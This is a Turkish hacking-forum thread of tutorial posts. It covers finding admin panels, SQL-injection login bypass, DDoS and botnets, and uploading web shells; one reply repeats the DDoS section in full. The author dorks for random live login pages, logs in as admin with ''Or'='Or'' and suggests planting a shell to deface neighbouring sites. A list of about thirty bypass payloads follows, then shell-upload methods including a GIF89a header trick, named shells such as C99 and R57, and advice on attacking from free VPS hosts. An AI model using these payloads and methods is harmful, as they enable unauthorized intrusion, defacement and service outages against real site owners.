SQL açığı tespit ettiğiniz ve istismar ederken şifresini bulduğunuz sitenin eğer ki login panelini (giriş panelini) admin panelini bulamıyorsanız bazı araçlar sayesinde bulabilirsiniz. Gizlenmiş admin panel dizinleri mevcut peki onları bulabilir miyiz? Kısmen evet çünkü bazı gizlenen paneller isimleri değiştirilebiliyor. Örneğin L0giN.php, GiRiS.html vb.. ama eğer stabil ise login.php, login.html gibi o zaman yüksek ihtimal bulabilirsiniz.


Admin Panel Bulucu Program İçin TIKLAYINIZ (1)

Admin Panel Bulucu Program İçin TIKLAYINIZ (2)

Bu iki araçta çalışmakta ve halen günümüzde hedef sitelerin admin panellerini bulabilmektedir.




mdyy1ts.jpg


8.2 Admin Panel Bypass Etme

Girilen Zararlı Karakterlerin Filtrelenmemesinden Dolayı Kaynaklanan Açıktır. Aynı Sql Injectiondaki Gibi Veri Tabanından Bilgi Çekmek İçin Kullanılan Komutlar İle Siteye Giriş Yapılır. Buradaki Amaç Komutları Username ve Password Kısmına Yazarak Siteye Giriş Yapmaktır.

İlk olarak tarayıcımızı açarak Google'a gidelim ve ardından şu dorkumuzu yazalım;

" inurl:admin/login.php "

yazdıktan sonra aratalım. Karşımıza bir sürü site çıkacaktır. Sitelerden herhangi birisine tıklayalım.



hs1m6kf.jpg




Siteye tıklar tıklamaz karşımıza login sayfası çıkacaktır. Çünkü dorkumuzu bu şekilde filtreleyerek şekillendirdik. Sitelerin login panelleri karşımıza çıkacaktır.



ft46wn2.jpg


Login sayfasına bypass kodlarımızı yazalım. Örnek olarak yazdığım kod;

''Or'='Or''

parola kısmına da aynısını yazarak login diyorum.



6ayrbhp.jpg


Ve görüldüğü üzere admin olarak panele giriş yaptım. Artık istediğimi yapabilirim. Bazı siteler upload (dosya yükleme) kısmı olmuyor ancak bunda var. Buradan shell sokarak sunucudaki diğer sitelere index atabiliriz.

Ancak bu şekilde giriş yaptığım gibi her siteye giriş olmaz. Eski bir açık olduğundan çoğu site korumasını alarak açıklarını kapatmıştır.

nhhm08v.jpg




8.3 Örnek Bypass Kodları


Örnek bypass kodlarımız;

''Or'='Or''

anything' OR 'x'='x

1'or'1'='1

' or 1=1 or ''='

" or 1=1 or ""="

' OR ''='

'' OR ''=''

'OR''='

hey' or 1=1–

''Or 1 = 1'

' or 1=1--

or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

hi") or ("a"="a

'hi' or 'x'='x';

x' or 1=1 or 'x'='y

\x27\x4F\x52 SELECT *

\x27\x6F\x72 SELECT *

'or select *

admin'--

")) or (("x"))=(("x

" or ""+"

admin"or 1=1 or ""="

admin") or ("1"="1"--




Bu kodlar ile giriş yapamadığınız sitelere giriş yapabilme ihtimalinizi arttırabilirsiniz.


h7fao2l.png




py6cwky.jpg


9. Hedef Web Site Hakkında Bilgi Toplama


Hedef web sitesi hakkında bilgi toplamak için site report netcraft sitesini kullanabiliriz. Örneğin turhackteam.org adresine bakalım.




adresine gidelim.

İşte karşımıza çıkan sonuçlar;



57uokq7.jpg


ayyc7y8.jpg



Sitemizin bağlı olduğu hostingler, ip adresleri, dns ve domain hakkında bi takım bilgiler çıkıyor. Analizde ise sitenin sağlıklı olduğunu ve bir sorunun olmadığını ilk görseldeki sağ üstteki 0/10 yazan yerden ve yeşil renkten anlayabiliriz.


jv44tfd.jpg


khptgnp.jpg


9.1 Sunucu İçerisini Görüntüleme


Herhangi bir web sitenin sunucu içerisini görüntüleyebiliriz. Bu sunucu içerisinde bambaşka siteler mevcut. Aratılan sitenin sunucu içerisinde bu siteler yer alır. Örnek olarak turkhackteam.org adresine bakalım.



adresine gidelim.


8tqwgzo.jpg



Görüldüğü üzere turkhackteam.org'un da yer aldığı pek çok siteli bir sunucu mevcut olduğunu gördük.


6lb67ii.jpg


9.2 İP Adresi Geçmişi Görme

Şimdi ise IP History'e bakalım.


adresine gidelim.


jahp5z2.jpg



karşımıza çıkan sonuçlar ve ip adresleri bu şekilde.


h7fao2l.png
 

Ghost Killer

Harici Saldırı Timleri Koordinatörü
13 Ocak 2019
11,318
7,706

tozzxmg.jpg


10. DDoS Saldırıları

DDoS yani Distributed Denial of Service (Dağıtık Hizmet Engelleme) saldırıları bir veri sızıntısı veya hesapları ele geçirmenin aksine tamamen erişebilirliği hedef almaktadır. İnternet sitelerinin barındırıldığı sunucular; kullanıcı sayısı, hat kapasitesi, anlık istek sayısı gibi değerlerin öngörülmesi sonrasında, bu değerlerin biraz daha üstünde yükü kaldırabilecek şekilde hizmete açılır.

Bu saldırı türünde sistemin kaldırabileceği yükün çok üzerinde anlık istek gönderilir ve sunucu cevap veremez hale gelir. Yani o internet sitesine, servise genelde saldırı sona erene kadar erişmiyorsunuz veya çok yavaşlıyor.

Bu kapsamda DDoS saldırısını en basit haliyle anlatmak gerekirse: otobanda sorunsuz bir şekilde akan bir trafik düşün. Yan yollardan beklenenin çok üzerinde bir araç girişi olması ile hızınızı düşürmek zorunda kalacak, bazı noktalarda trafik nedeniyle hiç hareket edemeyeceksiniz.


n7ay0xc.jpg


10.1 DoS Nedir?

DoS saldırısı tekil cihazdan yapılan saldırıdır. DDoS saldırısı ile aynı mantığa ve aynı amaca sahiptir ama aynı güçte değillerdir. DoS saldırısı tek bir İP adresinden gelir. İstek çok yoğun bir şekilde gelse bile anti ddos korumalarının ip adresini engellemesiyle beraber saldırı hüsranla sonuçlanır.

DoS saldırıları etkili saldırılar değillerdir. Ancak tekil ve koruma olmayan sunuculara, modemlere veya sitelere karşı her zaman etkili olmuştur.


of6r88r.jpg


10.2 DDoS Nedir?

DDoS saldırıları ise kalabalık ve bir o kadar güçlü saldırılardır. Karşı konulma ihtimali zayıftır ancak ddos korumalarının çoğunluğu artık günümüzde bu saldırıları bypass (engelleme) edebilmektedir. DDoS saldırıları genellikle 1000 veya 100.000 İP adresinden gelen isteklerin aynı hedefe yönlendirilmesi sonucu oluşur. Milyonluk istekler de vardır ancak bu DDoS'tan yanı sıra botnet kategorisine girer.

DDoS saldırıları her zaman şirketlerin, bankaların ve önemli devlet sitelerinin kabusu olmuştur. Ancak anti ddos korumaları bu kabusu sona erdirmiş, saldırıları bir nevi de olsa etkisini azaltmıştır.


kg4ofqy.jpg


10.3 DoS ve DDoS Aralarındaki Farklar Nelerdir?

DoS saldıraları bir tane ip adresinden istek atarken DDoS saldırıları binlerce belki de yüzbinlerce ip adresinin aynı anda istek göndermesidir.

Bu nedenle DoS saldırısı zayıf kalırken DDoS saldırıları etkili olmuştur.



0f8ce6c2-7d52-4bd1-bcd0-cfcff78d3dc4.gif


10.4 Botnet Nedir?

Botnet saldırıları ise gelmiş geçmiş en güçlü, en sağlam ve neredeyse hiçbir koruma tarafından durdurulamayacak güce sahip olan bir nevi zombi ağı denilebilir. Bu botnet saldırısı içerisinde milyonlarca cihazı bulunduran ki biz bunlara zombi askerler de diyebiliriz, bu askere emir veren komutan yani hacker verdiği emir doğrultusunda aynı hedefe sayısız mermi ve roket gönderilir. Bu mermilere istek diyebiliriz.

Bu istekler hedef sitenin sunucusunda aniden bir birikme oluşturur, bu birikme çok uzun sürmez ve taşar. Taşma sonucunda ise site hizmet veremez.

O kadar çok aşırı istek biner ve birikir ki saldırı kesilse bile saatler boyunca site hizmet veremeyebilir.

Bu nedenle en tehlikeli ve tehdit faktörü olarak 1. sırada olan her zaman botnet saldırıları olmuştur.



tbvr1an.jpg


10.5 Zombi PC Nedir?

Saldırgan tarafından bilgisayarlara atılmış virüs sonucunda saldırgan tarafından kontrol altına alınarak ve bu bilgisayar sahiplerinin haberleri olmadan pek çok bilgisayarın botnet saldırısında kullanılmasına, bilgisayarın da bu sayede zombi pc'ye dönüşmesine denir.

Zombi PC olup olmadığınızı anlamak için bilgisayarınızda çalışan anormal bir uygulama var mı ona bakmalı, ağ durumunuzu izlemelisiniz. Eğer gönderdiğiniz istek aldığınız istekten fazla ise botnet kurbanı olabilirsiniz.

Ancak şuan günümüzde neredeyse tüm antivirüs programları bu virüsü yakalamaktadır. Saldırganlar da buna karşın fudlama yaparak virüsü daha yaygın hale getirmektedirler. Nolur nolmaz siz dikkat edin ve her programı veya aracı bilgisayarınıza indirmeyin.


ctiw364.jpg


10.6 VDS/VPS Sunucu Nedir?

VPS/VDS, en basit haliyle sanal sunucudur. Bir sunucunun özel programlar ile sanal bir şekilde birden çok "küçük" sunucuya bölünmesiyle elde edilir.

Prensip olarak tek bir sunucudan daha küçük birçok sunucu elde ediliyor olsa da, farklı yazılımlar kullanılarak farklı şekillerde bölümleme yapıldığında farklı sonuçlar elde edilmektedir.



n2w2l9y.jpg


10.7 VDS ve VPS Aralarındaki Farklar Nelerdir?

VPS (Virtual Private Server) Nedir?

VPS, ana sunucunun yazılımsal olarak bölünmesiyle elde edilir. Bu sanallaştırma sisteminde, o sunucudaki bütün VPS'ler ana sunucuda yüklü olan işletim sistemini kullanmak zorundadır ve hepsi bu işletim sistemine bağlı olarak çalışan küçük parçacıklar gibidirler. Bu sanallaştırma sisteminde bütün işlemci ve ram paylaşımı yazılımsal olarak yapıldığından, sunucuda bir sıkıntı olduğu taktirde(VPS'lerden birinin aşırı işlemci veya ram kullanımı veya saldırı alması gibi) bu sorundan sunucudaki bütün VPS'ler etkilenir. VPS'lere tahsis edilen ram miktarı, VPS'ler arasında paylaştırılarak birinin kullanmadığı ram başkasına tahsis edilebilir. Bütün VPS'ler birbirinden ayrı çalışsa da, hepsi aynı bütünün birer parçasıdır. Sistem genelinde yüksek performans sağlansa da, kernel güncellemesi vb.. işlemlerin yapılması mümkün olmamaktadır.

VDS (Virtual Dedicated Server) Nedir?

VDS, ana sunucunun donanımsal olarak bölümlenmesiyle elde edilir. Bu şekilde sanallaştırılan VDS'ler, tamamen birbirinden bağımsız birer küçük sunucu haline gelirler. her biri farklı işletim sistemine sahip olabilir, her birinin kaynak kullanımı birbirinden tamamen bağımsızdır. Tahsis edilen işlemci ve ram başkası tarafından kullanılmaz. Bu yüzden, VDS'lerin birbirlerini etkilemesi sözkonusu değildir, aşırı kaynak kullanımı yapan veya saldırı alan bir VDS, diğerlerini etkilemeyecektir. Çalışma şekli olarak fiziksel kiralık sunucudan bir farkı bulunmamaktadır, kernel güncellemesi vb.. her türlü işlem gerçekleştirilebilir.




95iulc7.jpg



10.8 VDS/VPS Sunucu Nasıl Alınır?

VDS/VPS sunucular normalde ücretli bir şekilde satılmaktadır. Güzel bir performans ve hız istiyorsanız ücretli sunuculara bakmanızı tavsiye ederim. Ancak ücretsiz olarak almanın da yolu mevcut.

Ücretsiz Sunucu Almak İçin TIKLAYINIZ.

Bu adrese giderek ve kayıt olarak bir sunucu edinebilirsiniz. İçerisine kurduğunuz herhangi bir ddos toolu ile de saldırılar gerçekleştirebilirsiniz. Ancak burada herhangi derken kastım resmi toollar. İllegal toollar kurmanız takdirinde hesabınız ban yiyecektir. Bu nedenle buna dikkat edilmelidir.


h4mmwfy.jpg


10.9 Sunucudan Saldırı Nasıl Yapılır?

Aldığınız sunucuya örnek olarak buradaki toollardan kurabilirsiniz.

DDoS Saldırı Araçları İçin TIKLAYINIZ.

Daha fazla detay için web server güvenlik bölümümüzü ziyaret ediniz.



g440ijk.jpg


10.10 Saldırılara Karşı Koruma Nasıl Sağlanır?

Cloudflare, ddos guard gibi ddos korumaları mevcuttur. Örneğin cloudflare web siteniz için 1 aylık deneme sürümü vermektedir. Tabi ki bunlar ile sınırlı kalmayabilirsiniz.


DDoS Koruması Hizmeti Veren Sitelere Bakmak İçin TIKLAYINIZ.

Tavsiyem ücretli ve sağlam bir koruma alarak web sitenizi refaha kavuşturmanızdır.




jfu9z8k.jpg



10.11 Saldırı Tespit ve Analiz


DDoS saldırılarının tespit edilmesi ve analiz yapılması hakkında faydalı 3 makale mevcut. Bunlara bakmak veya incelemek isterseniz kırmızı bağlantılara tıklayabilirsiniz.

DDoS Saldırı Tespit ve Analiz İçin TIKLAYINIZ (1)
DDoS Saldırı Tespit ve Analiz İçin TIKLAYINIZ (2)
DDoS Saldırı Tespit ve Analiz İçin TIKLAYINIZ (3)


czip6rh.jpg



10.12 Modeminize Gelen Saldırıları Tespit Etme

İnternetiniz aralıklarla gidebilir ve sinir bozucu anlar yaşayabilirsiniz. Belki de saldırı vardır. İnternetinize kim yada kimlerin saldırdığını her zaman merak etmişsinizdir. İşte bunu öğrenmenin bir yolu var. İlk olarak komut istemimizi (CMD) açalım. Terminalimize şu komutumuzu yazalım;

netstat -an -p tcp

Kodumuzu yazdıktan sonra çıkanları inceleyelim;

qyt85pd.jpg



Bu paketler arttıkça ve çoğaldıkça internetiniz yavaşlar veya kesilir. Eğer sonuçlarda SYN_SENT yazıyorsa size birileri paket gönderiyor demektir. Hemen sol tarafında bulunan ip adresleri ise size paket atan yani saldıran ip adresleri demektir. En baştaki ip adresi ise sizin ip adresiniz.

Bu ipleri bu şekilde tespit ederek sizde onlara saldırabilirsiniz. Yada modem ayarlarınıza gelip bu ip adreslerini kara listeye ekleyerek engelleyebilirsiniz. Bu şekilde de saldırıdan kurtulmuş olursunuz.



h7fao2l.png



Okuduğunuz için teşekkür ederim. Saygı ve sevgilerimle :) Başka bir konuda görüşmek dileğiyle..



ovca0xc.gif
af8mqjc.gif




iUBacd.gif


 

MuhammedTr768

Kıdemli Üye
7 Kas 2021
2,932
1,814
31
MyKrallife

tozzxmg.jpg


10. DDoS Saldırıları

DDoS yani Distributed Denial of Service (Dağıtık Hizmet Engelleme) saldırıları bir veri sızıntısı veya hesapları ele geçirmenin aksine tamamen erişebilirliği hedef almaktadır. İnternet sitelerinin barındırıldığı sunucular; kullanıcı sayısı, hat kapasitesi, anlık istek sayısı gibi değerlerin öngörülmesi sonrasında, bu değerlerin biraz daha üstünde yükü kaldırabilecek şekilde hizmete açılır.

Bu saldırı türünde sistemin kaldırabileceği yükün çok üzerinde anlık istek gönderilir ve sunucu cevap veremez hale gelir. Yani o internet sitesine, servise genelde saldırı sona erene kadar erişmiyorsunuz veya çok yavaşlıyor.

Bu kapsamda DDoS saldırısını en basit haliyle anlatmak gerekirse: otobanda sorunsuz bir şekilde akan bir trafik düşün. Yan yollardan beklenenin çok üzerinde bir araç girişi olması ile hızınızı düşürmek zorunda kalacak, bazı noktalarda trafik nedeniyle hiç hareket edemeyeceksiniz.


n7ay0xc.jpg


10.1 DoS Nedir?

DoS saldırısı tekil cihazdan yapılan saldırıdır. DDoS saldırısı ile aynı mantığa ve aynı amaca sahiptir ama aynı güçte değillerdir. DoS saldırısı tek bir İP adresinden gelir. İstek çok yoğun bir şekilde gelse bile anti ddos korumalarının ip adresini engellemesiyle beraber saldırı hüsranla sonuçlanır.

DoS saldırıları etkili saldırılar değillerdir. Ancak tekil ve koruma olmayan sunuculara, modemlere veya sitelere karşı her zaman etkili olmuştur.


of6r88r.jpg


10.2 DDoS Nedir?

DDoS saldırıları ise kalabalık ve bir o kadar güçlü saldırılardır. Karşı konulma ihtimali zayıftır ancak ddos korumalarının çoğunluğu artık günümüzde bu saldırıları bypass (engelleme) edebilmektedir. DDoS saldırıları genellikle 1000 veya 100.000 İP adresinden gelen isteklerin aynı hedefe yönlendirilmesi sonucu oluşur. Milyonluk istekler de vardır ancak bu DDoS'tan yanı sıra botnet kategorisine girer.

DDoS saldırıları her zaman şirketlerin, bankaların ve önemli devlet sitelerinin kabusu olmuştur. Ancak anti ddos korumaları bu kabusu sona erdirmiş, saldırıları bir nevi de olsa etkisini azaltmıştır.


kg4ofqy.jpg


10.3 DoS ve DDoS Aralarındaki Farklar Nelerdir?

DoS saldıraları bir tane ip adresinden istek atarken DDoS saldırıları binlerce belki de yüzbinlerce ip adresinin aynı anda istek göndermesidir.

Bu nedenle DoS saldırısı zayıf kalırken DDoS saldırıları etkili olmuştur.



0f8ce6c2-7d52-4bd1-bcd0-cfcff78d3dc4.gif


10.4 Botnet Nedir?

Botnet saldırıları ise gelmiş geçmiş en güçlü, en sağlam ve neredeyse hiçbir koruma tarafından durdurulamayacak güce sahip olan bir nevi zombi ağı denilebilir. Bu botnet saldırısı içerisinde milyonlarca cihazı bulunduran ki biz bunlara zombi askerler de diyebiliriz, bu askere emir veren komutan yani hacker verdiği emir doğrultusunda aynı hedefe sayısız mermi ve roket gönderilir. Bu mermilere istek diyebiliriz.

Bu istekler hedef sitenin sunucusunda aniden bir birikme oluşturur, bu birikme çok uzun sürmez ve taşar. Taşma sonucunda ise site hizmet veremez.

O kadar çok aşırı istek biner ve birikir ki saldırı kesilse bile saatler boyunca site hizmet veremeyebilir.

Bu nedenle en tehlikeli ve tehdit faktörü olarak 1. sırada olan her zaman botnet saldırıları olmuştur.



tbvr1an.jpg


10.5 Zombi PC Nedir?

Saldırgan tarafından bilgisayarlara atılmış virüs sonucunda saldırgan tarafından kontrol altına alınarak ve bu bilgisayar sahiplerinin haberleri olmadan pek çok bilgisayarın botnet saldırısında kullanılmasına, bilgisayarın da bu sayede zombi pc'ye dönüşmesine denir.

Zombi PC olup olmadığınızı anlamak için bilgisayarınızda çalışan anormal bir uygulama var mı ona bakmalı, ağ durumunuzu izlemelisiniz. Eğer gönderdiğiniz istek aldığınız istekten fazla ise botnet kurbanı olabilirsiniz.

Ancak şuan günümüzde neredeyse tüm antivirüs programları bu virüsü yakalamaktadır. Saldırganlar da buna karşın fudlama yaparak virüsü daha yaygın hale getirmektedirler. Nolur nolmaz siz dikkat edin ve her programı veya aracı bilgisayarınıza indirmeyin.


ctiw364.jpg


10.6 VDS/VPS Sunucu Nedir?

VPS/VDS, en basit haliyle sanal sunucudur. Bir sunucunun özel programlar ile sanal bir şekilde birden çok "küçük" sunucuya bölünmesiyle elde edilir.

Prensip olarak tek bir sunucudan daha küçük birçok sunucu elde ediliyor olsa da, farklı yazılımlar kullanılarak farklı şekillerde bölümleme yapıldığında farklı sonuçlar elde edilmektedir.



n2w2l9y.jpg


10.7 VDS ve VPS Aralarındaki Farklar Nelerdir?

VPS (Virtual Private Server) Nedir?

VPS, ana sunucunun yazılımsal olarak bölünmesiyle elde edilir. Bu sanallaştırma sisteminde, o sunucudaki bütün VPS'ler ana sunucuda yüklü olan işletim sistemini kullanmak zorundadır ve hepsi bu işletim sistemine bağlı olarak çalışan küçük parçacıklar gibidirler. Bu sanallaştırma sisteminde bütün işlemci ve ram paylaşımı yazılımsal olarak yapıldığından, sunucuda bir sıkıntı olduğu taktirde(VPS'lerden birinin aşırı işlemci veya ram kullanımı veya saldırı alması gibi) bu sorundan sunucudaki bütün VPS'ler etkilenir. VPS'lere tahsis edilen ram miktarı, VPS'ler arasında paylaştırılarak birinin kullanmadığı ram başkasına tahsis edilebilir. Bütün VPS'ler birbirinden ayrı çalışsa da, hepsi aynı bütünün birer parçasıdır. Sistem genelinde yüksek performans sağlansa da, kernel güncellemesi vb.. işlemlerin yapılması mümkün olmamaktadır.

VDS (Virtual Dedicated Server) Nedir?

VDS, ana sunucunun donanımsal olarak bölümlenmesiyle elde edilir. Bu şekilde sanallaştırılan VDS'ler, tamamen birbirinden bağımsız birer küçük sunucu haline gelirler. her biri farklı işletim sistemine sahip olabilir, her birinin kaynak kullanımı birbirinden tamamen bağımsızdır. Tahsis edilen işlemci ve ram başkası tarafından kullanılmaz. Bu yüzden, VDS'lerin birbirlerini etkilemesi sözkonusu değildir, aşırı kaynak kullanımı yapan veya saldırı alan bir VDS, diğerlerini etkilemeyecektir. Çalışma şekli olarak fiziksel kiralık sunucudan bir farkı bulunmamaktadır, kernel güncellemesi vb.. her türlü işlem gerçekleştirilebilir.




95iulc7.jpg



10.8 VDS/VPS Sunucu Nasıl Alınır?

VDS/VPS sunucular normalde ücretli bir şekilde satılmaktadır. Güzel bir performans ve hız istiyorsanız ücretli sunuculara bakmanızı tavsiye ederim. Ancak ücretsiz olarak almanın da yolu mevcut.

Ücretsiz Sunucu Almak İçin TIKLAYINIZ.

Bu adrese giderek ve kayıt olarak bir sunucu edinebilirsiniz. İçerisine kurduğunuz herhangi bir ddos toolu ile de saldırılar gerçekleştirebilirsiniz. Ancak burada herhangi derken kastım resmi toollar. İllegal toollar kurmanız takdirinde hesabınız ban yiyecektir. Bu nedenle buna dikkat edilmelidir.


h4mmwfy.jpg


10.9 Sunucudan Saldırı Nasıl Yapılır?

Aldığınız sunucuya örnek olarak buradaki toollardan kurabilirsiniz.

DDoS Saldırı Araçları İçin TIKLAYINIZ.

Daha fazla detay için web server güvenlik bölümümüzü ziyaret ediniz.



g440ijk.jpg


10.10 Saldırılara Karşı Koruma Nasıl Sağlanır?

Cloudflare, ddos guard gibi ddos korumaları mevcuttur. Örneğin cloudflare web siteniz için 1 aylık deneme sürümü vermektedir. Tabi ki bunlar ile sınırlı kalmayabilirsiniz.


DDoS Koruması Hizmeti Veren Sitelere Bakmak İçin TIKLAYINIZ.

Tavsiyem ücretli ve sağlam bir koruma alarak web sitenizi refaha kavuşturmanızdır.




jfu9z8k.jpg



10.11 Saldırı Tespit ve Analiz


DDoS saldırılarının tespit edilmesi ve analiz yapılması hakkında faydalı 3 makale mevcut. Bunlara bakmak veya incelemek isterseniz kırmızı bağlantılara tıklayabilirsiniz.

DDoS Saldırı Tespit ve Analiz İçin TIKLAYINIZ (1)
DDoS Saldırı Tespit ve Analiz İçin TIKLAYINIZ (2)
DDoS Saldırı Tespit ve Analiz İçin TIKLAYINIZ (3)


czip6rh.jpg



10.12 Modeminize Gelen Saldırıları Tespit Etme

İnternetiniz aralıklarla gidebilir ve sinir bozucu anlar yaşayabilirsiniz. Belki de saldırı vardır. İnternetinize kim yada kimlerin saldırdığını her zaman merak etmişsinizdir. İşte bunu öğrenmenin bir yolu var. İlk olarak komut istemimizi (CMD) açalım. Terminalimize şu komutumuzu yazalım;

netstat -an -p tcp

Kodumuzu yazdıktan sonra çıkanları inceleyelim;

qyt85pd.jpg



Bu paketler arttıkça ve çoğaldıkça internetiniz yavaşlar veya kesilir. Eğer sonuçlarda SYN_SENT yazıyorsa size birileri paket gönderiyor demektir. Hemen sol tarafında bulunan ip adresleri ise size paket atan yani saldıran ip adresleri demektir. En baştaki ip adresi ise sizin ip adresiniz.

Bu ipleri bu şekilde tespit ederek sizde onlara saldırabilirsiniz. Yada modem ayarlarınıza gelip bu ip adreslerini kara listeye ekleyerek engelleyebilirsiniz. Bu şekilde de saldırıdan kurtulmuş olursunuz.



h7fao2l.png



Okuduğunuz için teşekkür ederim. Saygı ve sevgilerimle :) Başka bir konuda görüşmek dileğiyle..



ovca0xc.gif
af8mqjc.gif




iUBacd.gif


Hocam çok sağlam bir konu olmuş elinize sağlık
 

SecurityFaTHeR

Uzman üye
4 Şub 2022
1,300
341
rxdr9g1.jpg


4. Code İnjection Nedir?


Kod enjeksiyon saldırısı dediğimiz saldırı türü; sistemlere kötü amaçlı kodların enjekte edilmesini içeren saldırılar için kullanılan genel terimdir. Kullanıcıdan bilgi veya dosya istendiği durumlarda yeterli güvenlik kontrolü sağlanmazsa sitenin içerisine shell veya malware gibi zararlı yazılımlar sokulabilir.

Bu zararlı yazılımlar (shell gibi) bir sitenin kontrolünü tamamen hackerın eline geçirebilir ya da malware gibi sitenin belirli yerlerinde izinsiz reklamlar gösterebilir.

Şimdi sıralayalım. Kullanıcı girişleri yeterince kontrol etmezse sitenin bütününde güvensizlik oluşturur ve bu açık meydana gelir. Bu açık meydana gelirse diğer açıklara da sebebiyet verebilir ve başka saldırıların başlatılmasına ön ayak olur.

Bu sayede sistemin bütünlüğü en kötü şekilde tehlikeye atılmış olur.


imcpwfz.jpg


4.1 Hedef Siteye Shell Atma

Shell’i servere yükleme yöntemi için bir kaç madde halinde açıklayalım.
  • Remote file inclusion (RFI) açıklarından faydalanabiliriz​
  • Sql injection açıklarından faydalanabiliriz​
  • Exploits kullanarak yükleme yapabiliriz​
  • Upload (Dosya izinlerinden oluşan upload açıkları) açıklarından faydalanabiliriz​
  • Logger vb. spy yazılımlardan faydalanabiliriz​
  • Hedef sunucu hostundan hesap açarak yükleme yapabiliriz​
  • Sosyal mühendislik (social engineering) kullanarak yükleme yapabiliriz​
1) Remote file inclusion açıklarını kullanarak .txt uzantılı shellimizden bu yazımızda bahsettiğimiz izinler çerçevesinde(permissionlar) istediğimiz gibi .php uzantılı shell yükleyebiliriz. veya bağlandığımız .txt shell ile yine sunucu yetkileri çerçevesinde alt dizinlere geçebiliriz yada indeximizi upload eder çıkarız.

siteadi.com : siteadi.com

ile bağlandığımız siteye .php uzantılı shelli upload edersek kullanımı şu şekilde olur.

SiteAdi.com – Siteadi.com
şeklinde kullanıma geçebiliriz.

Şuanda RFI bitmesede çok nadir rastlanan açıklar haline geldi. Nolur nolmaz gene de bütün güvenlik bilgilerinizi RFI açığına bağlamayınız.

2) SQL Injection Açığıyla nasıl shell yükleriz derseniz, öncelikle SQL açığını kullanmasını bilen mantığı hemen anlar. Nedir bu mantık? Sql kodları yardımıyla site sahibinin kullanıcı adı ve şifresini elde ediyoruz. kimi zaman md5 seklinde şifre gelir, bizde md5 cracker yardımıyla hashleri kırarız.
elde ettiğimiz kullanıcı adı ve şifre ile siteye giriş yaparız, admin panelden bir upload kısmından shell dosyamızı (.php veya .asp) upload ederiz ve yine sunucuya bağlanmış oluruz.

Sql şuanda en çok kullanılan yaygın hacking (güvenlik zafiyeti) yöntemlerinden biridir. Çok büyük sitelerde, CMS sistemlerde bile rastlanan hiç değilse her serverde en az 1 den fazla sitede rastlanan açıktır.

3) Exploits kullanarak shell atabiliriz bu da yine derlenmiş exploitler sayesinde sitenin admin bilgilerini (kullanıcı adı ve şifresini) elde ederek admin panelden shell upload edebiliriz ve yine sunucuda yetkilerimiz dahilinde işlem yapabiliriz.

Bu kısma şöyle bir örnek verelim, bir dönem IPBoard forumlarında belirli açık sayesinde yazılan exploits ile admin şifrelerine ulaşabiliniyordu. Tabi CMS sistemler sürekli güncellendiğinden daha sonraları kapatıldı bu açık.

4) Upload açıklarından faydalanarak sitelere shell yükleyebiliriz. Burada genellikle .php veya .asp uzantılı shellerimizi kabul etmeyen upload siteleriyle karşılaşıyoruz. Bunun için shell içine gıf89;a yazısını ekleyerek upload sayfasının yükleyeceğimiz shelli resim dosyası olarak görmesini sağlayabiliriz.
Aklınızın alamayacağı kadar çok upload açıklı dosyalar vardır. Bunlardan en çok kullanılan bir iki tanesini buraya bakalım;

upload.php , upload.asp , upload.htm , upload.html
Tabi bu uzantıları ve upload sayfalarını siz hayal gücünüze bağlı olarak üretebilirsiniz. Hazır dizin veya sayfa bulucular da mevcut. Onları da araştırabilirsiniz.

5) Logger vb. spy yazılımlar kullanılarak shell yüklenmesi öncelikle hedef sitemizin adminini buluyoruz gerekli sosyal mühendislik vb. işlemleri gerçekleştirdikten sonra loggeri yedirip admin şifreleride dahil olmak üzere ftp ve mail şifrelerini alıyoruz. Tabi bu kısım ayrı bir uzmanlık alanı gerektirir. Çok geniş bir konudur ki tecrübe ister. Neyse devam edelim aldığımız şifreler sayesinde site sahibinin yetkilerini almamıza rağmen FTP’sine girdiğimiz sitenin sunucusunada ulaşmak istiyorsak shell upload eder ve yetkilerimiz çerçevesinde izinlerimizi kullanarak siteyi veya tüm serveri hackleyebiliriz.

6) Host firmasına yapılan sosyal mühendislik ile shell yükleme işi ise şöyle yapılır, diyelim ki hedef bir sitede her şeyi yapmamıza rağmen bir türlü açık bulamadık. Genelde son çare olarak kullanılan bu yöntemle hostçuyla irtibata geçer sosyal mühendislik yaparak sunucudan bir hesap açarız, açtığımız hesapta ise küçük bir script kurar ve FTP’mize shell atarak serveri rootlar hedef siteye ulaşırız veya manuel geçişler yaparak da hedef siteye ulaşabiliriz.

7) Sosyal mühendislik yöntemiyle siteye shell yükleme yapabiliriz. Burada işin içine sosyal mühendislik girdiği için belirli bir yöntem yoktur. Ancak sm yapan kişinin kabiliyetine, tecrübesine bağlıdır. Kişi sosyal mühendislik yapabilecek kabiliyetteyse çok kolay ve rahat bir şekilde çeşitli yollarla siteye veya FTP’ye ulaşarak shell atabilir. Ancak bu Sosyal mühendislik olayı ayrı bir uzmanlık alanı olduğu söyleyelim. Forumumuzda zaten binlerce sosyal mühendislik konuları mevcut, onlar okunabilir.

Evet shell yükleme yöntemlerimiz bu şekilde idi.

Kaç Tür Shell Vardır?

Genel olarak kullanılan 3 çeşit shell vardır. Bunlar .php, .asp ve .aspx dillerindeki shellerdir. Şuanda bu dillerde yazılmış 1000lerce shell var hepsinin çalışma mantığı aynıdır ancak birkaç farklı özellik eklenmiş halleri vardır.

En çok Kullanılan Sheller Başlıca Şöyledir:

C99.php (Yeni başlayanlar için kullanımı kolay, arayüzü oldukça basit bir shell)
R57.php (Shell sistemini artık çözmüş kod bilgisine döken kişiler kullanır)
CyberSpy5.asp ( Genellikle yetkili (usta) kişilerin kullandığı shelldir)
LORD.aspx ( ihtiyacı gören, kullanışlı zaman zaman kullandığımız tavsiye bir shelldir.)
c99 veya r57 .txt sheller ( Bunlar RFI için kullanılan shellerdir, RFI’de .asp shell veya .php shell kullanılmaz.)

şimdi şöyle devam edelim ve bitirelim;

.php uzantılı sheller unix, linux, freebsd sunucularında kullanılır.

.asp uzantılı sheller ise windows sunucularda kullanılır.

şimdi siz bir linux server’e .asp uzantılı shell atamazsınız atsanız dahi çalıştıramazsınız.

ancak windows serverlere nadirende olsa rastlanmıştır. .php uzantılı sheller atılabilirken, .asp shell kadar yetki vermiyor. genelde editleme yetkisine rastlanıyor. Yükleme ve silme yetkileri bulunmamaktadır.

Bu sebepten shell yükleyeceğiniz sitenin sistemini araştırmanız ve iyi bilmeniz gerekmektedir.



gkss0a5.jpg


4.2 Shell Atarak Server Bypass Etme (Config Okuma)


Buradaki asıl amacımız symlink, config grabber işlemlerini denediyseniz ama config okuyamadıysanız diye deneyebileceğiniz bir işlemdir.

